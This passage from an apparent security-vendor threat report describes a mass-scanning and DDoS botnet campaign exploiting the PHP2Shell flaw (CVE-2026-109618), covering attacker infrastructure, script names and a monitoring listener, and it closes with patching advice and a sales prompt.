ChaCha20 encryption to orchestrate DDoS attacks against Ukrainian networks via the domain thunder.godofthunder[.]st. Hosting the php2shell_fp.py script, this infrastructure reveals a broad, opportunistic mass-scanning operation rather than a targeted campaign; the script's embedded TARGETS list spans twenty highly disparate domains, ranging from Canadian charities and Polish tourism portals to French energy providers and university WordPress sites. By probing these arbitrary public, educational, and commercial entities for the PHP2Shell vulnerability (CVE-2026-109618), the operators aim to indiscriminately harvest vulnerable servers into their botnet to build a scalable, destructive DDoS arsenal.
i097_listener.py and i097_listener80.py, alongside their corresponding output files and logs (i097_listener.out,i097_listener80.out, andi097_hits.log). In the context of the PHP2Shell campaign, this server is actively listening on ports 80 and 8888 to log automated exploit attempts targeting CVE-2026-109618, serving as a monitoring node to track the spread of the vulnerability across the internet.Conclusion
The rapid weaponization of PHP2Shell demonstrates how fundamental engine vulnerabilities bypass traditional perimeter defenses. Within days of disclosure, diverse actors integrated automated exploitation scripts into their campaigns. Because the flaw processes requests before application code executes, standard web application firewalls provide no mitigation. Organizations must prioritize binary-level patching while defenders shift focus to core-level memory corruption indicators.Need help hunting this activity in your environment?
Engage Akatsuki